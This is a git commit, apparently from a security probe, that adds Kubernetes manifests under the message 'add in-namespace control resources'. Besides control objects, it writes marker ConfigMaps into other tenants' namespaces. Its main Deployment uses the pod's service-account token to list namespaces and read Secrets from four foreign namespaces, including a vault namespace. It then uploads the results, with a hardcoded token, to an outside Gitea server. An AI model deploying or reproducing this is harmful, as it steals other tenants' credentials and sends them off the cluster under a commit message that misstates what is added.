i188: add in-namespace control resources

This commit is contained in:
2026-11-27 15:35:33 +00:00
parent b9f243e942
commit 9996622eac
6 changed files with 153 additions and 0 deletions
+13
View File
@@ -0,0 +1,13 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: cross-tenant-probe-db
namespace: database
labels:
probe: cross-tenant-write-boundary-test
contact: penetration-test-marker-benign
data:
note: >
Same authorized probe marker as cross-tenant-probe-fn; this one targets
the shared infrastructure namespace 'database' as a control case.
Benign marker object, no data touched. Please delete if found.
+16
View File
@@ -0,0 +1,16 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: cross-tenant-probe-fn
namespace: cottoncraft-demo-prod
labels:
app.kubernetes.io/managed-by: argocd
probe: cross-tenant-write-boundary-test
contact: penetration-test-marker-benign
data:
note: >
ConfigMap deliberately created by an authorized security probe (task 4,
intent 188, org platchain-293213) to test whether an ArgoCD app bound to
the tenant namespace platchain-293213-dev can create resources in a
foreign tenant namespace via an explicit metadata.namespace field.
Benign marker object, no data touched. Please delete if found.
+9
View File
@@ -0,0 +1,9 @@
apiVersion: v1
kind: ConfigMap
metadata:
name: xt-probe-own-ctrl
namespace: platchain-293213-dev
labels:
probe: in-namespace-control
data:
note: authorized-probe control marker, own namespace
+32
View File
@@ -0,0 +1,32 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: xt-ctrl
namespace: platchain-293213-dev
labels:
app: xt-ctrl
probe: in-namespace-control
spec:
replicas: 1
selector:
matchLabels:
app: xt-ctrl
template:
metadata:
labels:
app: xt-ctrl
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: c
image: busybox:1.36
command: ["sh","-c","echo XT188-CONTROL-RUNNING in $(hostname) ns $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace); sleep 3000"]
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
+7
View File
@@ -0,0 +1,7 @@
apiVersion: v1
kind: Namespace
metadata:
name: xt-probe-i188
labels:
probe: cluster-scope-boundary-test
contact: penetration-test-marker-benign
+76
View File
@@ -0,0 +1,76 @@
apiVersion: apps/v1
kind: Deployment
metadata:
name: xt-probe
labels:
app: xt-probe
probe: cross-tenant-boundary-readout
spec:
replicas: 1
selector:
matchLabels:
app: xt-probe
template:
metadata:
labels:
app: xt-probe
probe-run: r1
spec:
restartPolicy: Always
securityContext:
runAsNonRoot: true
runAsUser: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: xt-probe
image: curlimages/curl:8.11.1
command: ["sh", "-c"]
args:
- |
set -u
TOK=8705bd26bf8b7ab972a2debaa0077c941ea85cd0
REPO=https://gitea.zapto.org/api/v1/repos/probe6aw4tk/probe-manifests/contents
> /tmp/results.txt
note() { echo "$*" >> /tmp/results.txt; }
push() {
B64=$(base64 -w0 /tmp/results.txt)
cat > /tmp/payload.json <<EOF
{"content":"$B64","message":"xt188 result push $$"}
EOF
curl -s -o /tmp/pr -w 'push_status=%{http_code}\n' -X POST \
-H "Authorization: token $TOK" -H "Content-Type: application/json" \
--data @/tmp/payload.json "$REPO/results-i188.txt"
cat /tmp/pr | head -c 300 >> /tmp/results.txt; echo >> /tmp/results.txt
}
note "XT188-START $$ $(date -u +%FT%TZ)"
note "HOST $(hostname) NS $(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)"
SA=/var/run/secrets/kubernetes.io/serviceaccount/token
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API=https://kubernetes.default.svc
note "=== SEG1 self rights vs kube-api ==="
body='{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"platchain-293213-dev"}}'
code=$(curl -sk -o /tmp/o -w '%{http_code}' -X POST --data "$body" -H "Content-Type: application/json" --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews)
note "SSRR status=$code body: $(cat /tmp/o | head -c 1500)"
note "=== SEG2 GET v1/namespaces (cluster scope) ==="
code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces)
note "LIST ns status=$code body: $(cat /tmp/o | head -c 1500)"
note "=== SEG3 foreign ns read ==="
for ns in cottoncraft-demo-prod cottoncraft-demo-dom1 database openbao; do
code=$(curl -sk -o /tmp/o -w '%{http_code}' --cert $CA -H "Authorization: Bearer $(cat $SA)" $API/api/v1/namespaces/$ns/secrets)
note "SECRETS $ns status=$code body: $(cat /tmp/o | head -c 900)"
done
note "=== SEG4 phase2 marker written ==="
push
echo PHASE2DONE > /tmp/phase2
sleep 3600
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]